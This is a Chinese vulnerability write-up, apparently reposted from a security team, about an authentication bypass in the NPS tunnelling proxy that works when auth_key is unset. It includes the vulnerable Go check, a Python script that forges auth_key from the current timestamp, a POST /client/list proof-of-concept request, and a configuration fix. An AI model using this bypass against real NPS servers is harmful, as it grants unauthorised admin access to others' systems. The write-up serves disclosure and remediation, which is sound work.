NPS auth_key 未授权访问漏洞
一、漏洞描述
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。其中auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限。
二、漏洞影响
NPS
三、漏洞复现
在 web/controllers/base.go 文件中,获取认证方式;
d5Key := s.getEscapeString("auth_key")
timestamp := s.GetIntNoErr("timestamp")
configKey := beego.AppConfig.String("auth_key")
timeNowUnix := time.Now().Unix()
if !(md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) <= 20)
&& (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)) {
if s.GetSession("auth") != true { s.Redirect(beego.AppConfig.String("web_base_url")+"/login/index", 302)
}
} else {
s.SetSession("isAdmin", true)
s.Data["isAdmin"] = true
}
这里的认证方式是通过配置文件nps.conf中的auth_key与timestamp的md5形式进行认证,但在默认的配置文件中,auth_key 默认被注释,所以只需要可以获取到的参数 timestamp 就可以绕过认证登录。
编写脚本生成 auth_key 和 timestamp
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("auth_key=%s×tamp=%s" % (auth_key,int(now)))
验证POC
POST /client/list
search=&order=asc&offset=0&limit=10&auth_key=8c98b1bdedbc569c4e61eeaeb11ce772
×tamp=1659838908
通过脚本进行批量验证
四、修复措施
vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key注释。
END
原文始发于微信公众号(闪焰安全服务团队):NPS auth_key 未授权访问漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论